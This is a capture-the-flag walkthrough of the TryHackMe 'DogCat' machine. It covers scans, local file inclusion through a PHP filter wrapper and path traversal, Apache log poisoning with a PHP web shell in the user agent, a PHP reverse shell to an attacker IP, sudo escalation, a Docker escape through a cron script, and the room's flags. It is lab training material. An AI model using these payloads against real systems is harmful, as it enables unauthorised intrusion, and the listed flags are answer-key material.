DogCat(THM)

Enumaration

# we see that view parameter maybe vulnerable to lfi so we try it a and get a error that cat or dog must be included in the request.the ext parameter stops preappending the included resource with .php extension .we got this hint from reading index.php when we initially exploited the lfi

# so we managed to get lfi using the base64 encode php wrapper and preappending the cat direcctory and then doing directory traversal to /etc/passwd

> /?view=php://filter/convert.base64-encode/resource=./cat../../../../../../../etc/passwd&ext=

we get base64 encoded dump so now we have to get a shell so we try accesing apachelogs and it is dumpable

# NOwe got to apache log poisoning and add a php get parameter which will let us execute commands on url and using burp we added this code to user agent header and now we can execute commands

# we use a php reverse shell and url decode it and get a shell

NMap

```
###OPEN PORTS  22,80
nmap -p22,80 -A -T4 10.10.103.25 --script vuln
Starting Nmap 7.91 ( https://nmap.org ) at 2021-03-21 07:33 EDT
Nmap scan report for 10.10.103.25
Host is up (0.46s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| vulners:
|   cpe:/a:openbsd:openssh:7.6p1:
|       EXPLOITPACK:98FE96309F9524B8C84C508837551A19    5.8     https://vulners.com/exploitpack/EXPLOITPACK:98FE96309F9524B8C84C508837551A19  *EXPLOIT*
|       EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97    5.8     https://vulners.com/exploitpack/EXPLOITPACK:5330EA02EBDE345BFC9D6DDDD97F9E97  *EXPLOIT*
|       EDB-ID:46516    5.8     https://vulners.com/exploitdb/EDB-ID:46516      *EXPLOIT*
|       CVE-2019-6111   5.8     https://vulners.com/cve/CVE-2019-6111
|       SSH_ENUM        5.0     https://vulners.com/canvas/SSH_ENUM     *EXPLOIT*
|       PACKETSTORM:150621      5.0     https://vulners.com/packetstorm/PACKETSTORM:150621      *EXPLOIT*
|       MSF:AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS 5.0     https://vulners.com/metasploit/MSF:AUXILIARY/SCANNER/SSH/SSH_ENUMUSERS*EXPLOIT*
|       EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0    5.0     https://vulners.com/exploitpack/EXPLOITPACK:F957D7E8A0CC1E23C3C649B764E13FB0  *EXPLOIT*
|       EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283    5.0     https://vulners.com/exploitpack/EXPLOITPACK:EBDBC5685E3276D648B4D14B75563283  *EXPLOIT*
|       EDB-ID:45939    5.0     https://vulners.com/exploitdb/EDB-ID:45939      *EXPLOIT*
|       CVE-2018-15919  5.0     https://vulners.com/cve/CVE-2018-15919
|       CVE-2018-15473  5.0     https://vulners.com/cve/CVE-2018-15473
|       1337DAY-ID-31730        5.0     https://vulners.com/zdt/1337DAY-ID-31730        *EXPLOIT*
|       EDB-ID:45233    4.6     https://vulners.com/exploitdb/EDB-ID:45233      *EXPLOIT*
|       CVE-2020-14145  4.3     https://vulners.com/cve/CVE-2020-14145
|       CVE-2019-6110   4.0     https://vulners.com/cve/CVE-2019-6110
|       CVE-2019-6109   4.0     https://vulners.com/cve/CVE-2019-6109
|       CVE-2018-20685  2.6     https://vulners.com/cve/CVE-2018-20685
|       PACKETSTORM:151227      0.0     https://vulners.com/packetstorm/PACKETSTORM:151227      *EXPLOIT*
|       EDB-ID:46193    0.0     https://vulners.com/exploitdb/EDB-ID:46193      *EXPLOIT*
|       1337DAY-ID-32009        0.0     https://vulners.com/zdt/1337DAY-ID-32009        *EXPLOIT*
|_      1337DAY-ID-30937        0.0     https://vulners.com/zdt/1337DAY-ID-30937        *EXPLOIT*
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
|_http-server-header: Apache/2.4.38 (Debian)
| http-sql-injection:
```

```
|   Possible sqli for queries:
|     http://10.10.103.25:80/?view=dog%27%20OR%20sqlspider
|     http://10.10.103.25:80/?view=cat%27%20OR%20sqlspider
|     http://10.10.103.25:80/?view=dog%27%20OR%20sqlspider
|     http://10.10.103.25:80/?view=cat%27%20OR%20sqlspider
|     http://10.10.103.25:80/?view=dog%27%20OR%20sqlspider
|_    http://10.10.103.25:80/?view=cat%27%20OR%20sqlspider
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| vulners:
|   cpe:/a:apache:http_server:2.4.38:
|       CVE-2020-11984  7.5     https://vulners.com/cve/CVE-2020-11984
|       EXPLOITPACK:44C5118F831D55FAF4259C41D8BDA0AB    7.2     https://vulners.com/exploitpack/EXPLOITPACK:-
44C5118F831D55FAF4259C41D8BDA0AB  *EXPLOIT*
|       CVE-2019-0211   7.2     https://vulners.com/cve/CVE-2019-0211
|       1337DAY-ID-32502        7.2     https://vulners.com/zdt/1337DAY-ID-32502        *EXPLOIT*
|       CVE-2019-10082  6.4     https://vulners.com/cve/CVE-2019-10082
|       CVE-2019-10097  6.0     https://vulners.com/cve/CVE-2019-10097
|       CVE-2019-0217   6.0     https://vulners.com/cve/CVE-2019-0217
|       CVE-2019-0215   6.0     https://vulners.com/cve/CVE-2019-0215
|       EDB-ID:47689    5.8     https://vulners.com/exploitdb/EDB-ID:47689      *EXPLOIT*
|       CVE-2020-1927   5.8     https://vulners.com/cve/CVE-2020-1927
|       CVE-2019-10098  5.8     https://vulners.com/cve/CVE-2019-10098
|       1337DAY-ID-33577        5.8     https://vulners.com/zdt/1337DAY-ID-33577        *EXPLOIT*
|       CVE-2020-9490   5.0     https://vulners.com/cve/CVE-2020-9490
|       CVE-2020-1934   5.0     https://vulners.com/cve/CVE-2020-1934
|       CVE-2019-10081  5.0     https://vulners.com/cve/CVE-2019-10081
|       CVE-2019-0220   5.0     https://vulners.com/cve/CVE-2019-0220
|       CVE-2019-0196   5.0     https://vulners.com/cve/CVE-2019-0196
|       CVE-2019-0197   4.9     https://vulners.com/cve/CVE-2019-0197
|       EDB-ID:47688    4.3     https://vulners.com/exploitdb/EDB-ID:47688      *EXPLOIT*
|       CVE-2020-11993  4.3     https://vulners.com/cve/CVE-2020-11993
|       CVE-2019-10092  4.3     https://vulners.com/cve/CVE-2019-10092
|       1337DAY-ID-33575        4.3     https://vulners.com/zdt/1337DAY-ID-33575        *EXPLOIT*
|       PACKETSTORM:152441      0.0     https://vulners.com/packetstorm/PACKETSTORM:152441      *EXPLOIT*
|       EDB-ID:46676    0.0     https://vulners.com/exploitdb/EDB-ID:46676      *EXPLOIT*
|       1337DAY-ID-663  0.0     https://vulners.com/zdt/1337DAY-ID-663  *EXPLOIT*
|       1337DAY-ID-601  0.0     https://vulners.com/zdt/1337DAY-ID-601  *EXPLOIT*
|       1337DAY-ID-4533 0.0     https://vulners.com/zdt/1337DAY-ID-4533 *EXPLOIT*
|       1337DAY-ID-3109 0.0     https://vulners.com/zdt/1337DAY-ID-3109 *EXPLOIT*
|_      1337DAY-ID-2237 0.0     https://vulners.com/zdt/1337DAY-ID-2237 *EXPLOIT*
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (94%), ASUS RT-N56U WAP
(Linux 3.4) (93%), Linux 3.16 (93%), Adtran 424RG FTTH gateway (92%), Linux 2.6.32 (92%), Linux 2.6.39 - 3.2 (92%), Linux 3.1 - 3.2
(92%), Linux 3.11 (92%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 4 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 22/tcp)
HOP RTT       ADDRESS
1   192.25 ms 10.4.0.1
2   ... 3
4   447.92 ms 10.10.103.25

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 77.00 seconds
```

GObuster

```
        gobuster dir -u 10.10.103.25 -w WordLists/dirb/common.txt -x php
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            http://10.10.103.25
[+] Threads:        10
[+] Wordlist:       WordLists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Extensions:      php
[+] Timeout:         10s
===============================================================
2021/03/21 07:32:18 Starting gobuster
===============================================================
/.hta (Status: 403)
/.hta.php (Status: 403)
/.htaccess (Status: 403)
/.htaccess.php (Status: 403)
/.htpasswd (Status: 403)
/.htpasswd.php (Status: 403)
/cat.php (Status: 200)
/cats (Status: 301)
/flag.php (Status: 200)
/index.php (Status: 200)
/index.php (Status: 200)
/server-status (Status: 403)
===============================================================
2021/03/21 07:39:32 Finished
==============================================================
```

LFI

# in main page we have a lfi in view paramter

we try different payloads and we get an error that we need to bypass a filter that is we have to prepend either dog or cat

WE try the payload with php filter wrapper

> ?view=php://filter/convert.base64-encode/resource=./cat../../index

NOte that the server prepends.php eith the included file thats why we only wrote index and not index.php

# INDEX.PHP SOURCE

```
PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgdHlwZ
ICRfR0VUWyJleHQiXSA6ICcucGhwJzsKICAgICAgICAgICAgaWYoaXNzZXQoJF9HRVRbJ3ZpZXcnXSkpIHsKICAgICAgICAgICAgICAgIGlmKGNvbnRhaW5zU3
```

```
<!DOCTYPE HTML>
<html>

<head>
    <title>dogcat</title>
    <link rel="stylesheet" type="text/css" href="/style.css">
</head>

<body>
    <h1>dogcat</h1>
    <i>a gallery of various dogs or cats</i>

    <div>
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></-
a><br>
        <?php
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            }
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';
                }
            }
        ?>
    </div>
</body>

</html>
```

The code source means that we need to include the &ext parameter in our request else the server will always append a .php and we cannot open and non php file

## etc/passwd

?view=php://filter/convert.base64-encode/resource=./cat../../../../../../etc/passwd&ext

cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyO

```
  root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
```

# Flag.php

we saw a flag.php but didnt had access to it

now using the lfi we will include the flag.php and get the flag

?view=php://filter/convert.base64-encode/resource=./cat../../flag.php&ext

PD9waHAKJGZsYWdfMSA9ICJUSE17VGgxc18xc19OMHRfNF9DYXRkb2dfYWI2N2VkZmF9Igo/Pgo=

```
<?php
$flag_1 = "THM{Th1s_1s_N0t_4_Catdog_ab67edfa}"
?>
```

## Apache LOg poisoning

http://10.10.155.191/?view=php://filter/convert.base64-encode/resource=./cat../../../../../var/log/apache2/access.log&ext

we get dump of apache logs

MTI3LjAuMC4xIC0gLSBbMTMvTWF5LzIwMjE6MTM6Mzk6MjYgKzAwMDBdICJHRVQgLyBIVFRQLzEuMSIgMjAwIDYxNSAiLSIgImN1cmwvNy42NC4wIgoxI

```
127.0.0.1 - - [13/May/2021:13:39:26 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.4.30.255 - - [13/May/2021:13:39:39 +0000] "GET /flag.php HTTP/1.1" 200 228 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:39:39 +0000] "GET /favicon.ico HTTP/1.1" 404 492 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:39:47 +0000] "GET /cat.php HTTP/1.1" 200 255 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:39:47 +0000] "GET /cats/5.jpg HTTP/1.1" 200 39324 "http://10.10.155.191/cat.php" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
127.0.0.1 - - [13/May/2021:13:40:01 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.4.30.255 - - [13/May/2021:13:40:03 +0000] "GET /dogs HTTP/1.1" 301 576 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:04 +0000] "GET /dogs/ HTTP/1.1" 403 494 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:07 +0000] "GET /dog HTTP/1.1" 404 491 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:13 +0000] "GET /cats HTTP/1.1" 301 576 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:13 +0000] "GET /cats/ HTTP/1.1" 403 494 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:18 +0000] "GET / HTTP/1.1" 200 536 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:18 +0000] "GET /style.css HTTP/1.1" 200 698 "http://10.10.155.191/" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:28 +0000] "GET /?view=cat HTTP/1.1" 200 563 "http://10.10.155.191/" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:29 +0000] "GET /cats/1.jpg HTTP/1.1" 200 43423 "http://10.10.155.191/?view=cat" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
10.4.30.255 - - [13/May/2021:13:40:43 +0000] "GET /?view=../../../../../etc/passwd HTTP/1.1" 200 557 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0"
127.0.0.1 - - [13/May/2021:13:40:45 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"
10.4.30.255 - - [13/May/2021:13:40:50 +0000] "GET /
```

replace the user agent heaader with php rce parameter

> <?php system($_GET['cmd']); ?>

Now we have rce in ?view=./cat../../../../../var/log/apache2/access.log&ext=&cmd=ls

so sent a php reverse shell and url encoded it and got a shell

```
php -r '$sock=fsockopen("10.4.30.255",6969);exec("/bin/sh -i <&3 >&3 2>&3");'
```

```
?view=./cat../../../../../var/log/apache2/access.log&ext=&
```

Exploitation

Post Exploitation

1 We got in as www-data and saw that we can run /usr/bin/env as sudo and no passwd so we got root shelll by

> sudo /usr/bin/env /bin/sh

2 We see a backup file in opt directory and see that a backup script is there which is probably a cronjob

# It backups the /root/container

3 as our machine doesnt have common binaries and has a wierd hostname which means we were inside a docker all along so we need to escape that

4- we add our reverse shell iside that script so when original root executes the script in cronjob we get real shell

Loot

Flags

# FLAG 1

THM{Th1s_1s_N0t_4_Catdog_ab67edfa}

# FLAG 2

THM{LF1_t0_RC3_aec3fb}

# FLAG3

THM{D1ff3r3nt_3nv1ronments_874112}

# FLAG4

THM{esc4l4tions_on_esc4l4tions_on_esc4l4tions_7a52b17dba6ebb0dc38bc1049bcba02d}

POC